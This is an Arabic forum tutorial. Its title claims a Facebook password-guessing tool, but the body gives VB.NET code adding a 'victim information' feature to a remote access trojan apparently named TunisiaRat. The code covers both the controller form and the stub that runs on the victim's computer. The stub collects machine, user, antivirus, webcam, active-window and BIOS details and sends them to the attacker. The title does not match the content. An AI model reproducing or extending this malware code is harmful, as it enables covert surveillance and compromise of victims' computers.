اداة لتخمين باسورد الفيس بوك بواسطة اداة بالغة البايثون + قاموس

السلام عليكم ورحمة الله وبركاتة

كيفية اضافة خاصية جلب معلومات عن الضحية والجهاز الخاص به :

بسم الله نبدء :

1- ضع التصميم الخاص بك 

2- ضع 


2TextBox | Multiline = True

3- وضع هذا الكود في فورم الخاصية 

 Public sock As Integer

4- فتح الفورم الاساسية برنامج الاختراق وانشاء

Button | Context menustrip

ملحوظة : | تعني او في شروحاتي

الكود الخاص :

For Each x As ListViewItem In L1.SelectedItems            S.Send(x.ToolTipText, "sendinformation")      Next

5- عمل 

Timer | Enabled = False | Interval = 1

6- كود التعريف في الفورم الاساسية لبرنامج الاختراق 

Case "sendinformation"                    Timer2.Stop()                    If My.Application.OpenForms("Information" & sock) IsNot Nothing Then Exit Sub                    If Me.InvokeRequired Then                        Dim j As New _Data(AddressOf data)                        Me.Invoke(j, New Object() {sock, B})                        Exit Sub                    End If                    Dim info As New Information                    info.sock = sock                    info.Name = "Information" & sock                    info.Text = info.Text & " " & S.IP(sock)                    info.rtinfo1.Text = "Username : " & A(2) & vbNewLine & "Victime Name : " & A(30) & vbNewLine & "Country : " & A(5) & vbNewLine & "Language : " & A(19) & vbNewLine & "Antivirus : " & A(6) & vbNewLine & "Webcam : " & A(9) & vbNewLine & "Active Window : " & A(10) & vbNewLine & "Local Time : " & A(11) & vbNewLine & "Computer Open : " & A(12) & vbNewLine & "Current Directory : " & A(13) & vbNewLine & "Command Line : " & A(20) & "System Directory : " & A(14) & vbNewLine & "User Domain Name : " & A(15) & vbNewLine & "User Interactive : " & A(16) & vbNewLine & "Working Set : " & A(17)                    info.rtinfo2.Text = "Computer Name : " & A(1) & vbNewLine & "Operating System : " & A(3) & vbNewLine & "Operating System Platform : " & A(4) & vbNewLine & "Operating System version : " & A(18) & vbNewLine & "RAM : " & A(7) & vbNewLine & "Processor Name : " & A(23) & vbNewLine & "Identifier : " & A(24) & vbNewLine & "System Product : " & A(25) & vbNewLine & "BIOS Release Date : " & A(26) & vbNewLine & "BIOS Version : " & A(27) & vbNewLine & "System Manufacturer : " & A(28) & vbNewLine & "BIOS Vendor : " & A(29)                    info.Show()                    pinger = 0

الملحوظات : 

Timer2 = التايمر الذي انشئته مجرد التعديل عليه

Information = اسم الفورم التي انشئتها (يرجي تسمية الفورم الخاصة بك بهذا الاسم تجنبا لللخطء )

7- كود التعريف في Stub :

  Case "sendinformation"                    Dim time, h, m, s As Integer                    time = My.Computer.Clock.TickCount                    h = time \ 3600000                    m = (time Mod 3600000) \ 60000                    s = ((time Mod 3600000) Mod 60000) / 1000                    Dim ab, bb, cb, db, eb, fb, gb As String                    ab = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0", "ProcessorNameString", "")                    bb = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0", "Identifier", "")                    cb = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\BIOS", "SystemProductName", "")                    db = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\BIOS", "BIOSReleaseDate", "")                    eb = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\BIOS", "BIOSVersion", "")                    fb = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\BIOS", "SystemManufacturer", "")                    gb = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\BIOS", "BIOSVendor", "")                    Dim value As String = Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\TunisiaRat", "ID", "")                    C.Send("sendinformation" & Yy & Environment.MachineName & Yy & Environment.UserName & Yy & My.Computer.Info.OSFullName & Yy & My.Computer.Info.OSPlatform & Yy & country & Yy & getanti() & Yy & GetSystemRAMSize() & Yy & "0.1.0" & Yy & checkcam() & Yy & ACT() & Yy & My.Computer.Clock.LocalTime & Yy & h & ":" & m & ":" & s & Yy & Environment.CurrentDirectory & Yy & Environment.SystemDirectory & Yy & Environment.UserDomainName & Yy & Environment.UserInteractive & Yy & Environment.WorkingSet & Yy & My.Computer.Info.OSVersion & Yy & My.Computer.Info.InstalledUICulture.ToString & Yy & System.Environment.CommandLine & Yy & port & Yy & Application.ExecutablePath & Yy & ab & Yy & bb & Yy & cb & Yy & db & Yy & eb & Yy & fb & Yy & gb & Yy & value)

انتي الشرح ارجو ان يكون نال اعجابكم 

والسلام عليكم ورحمة الله وبركاتة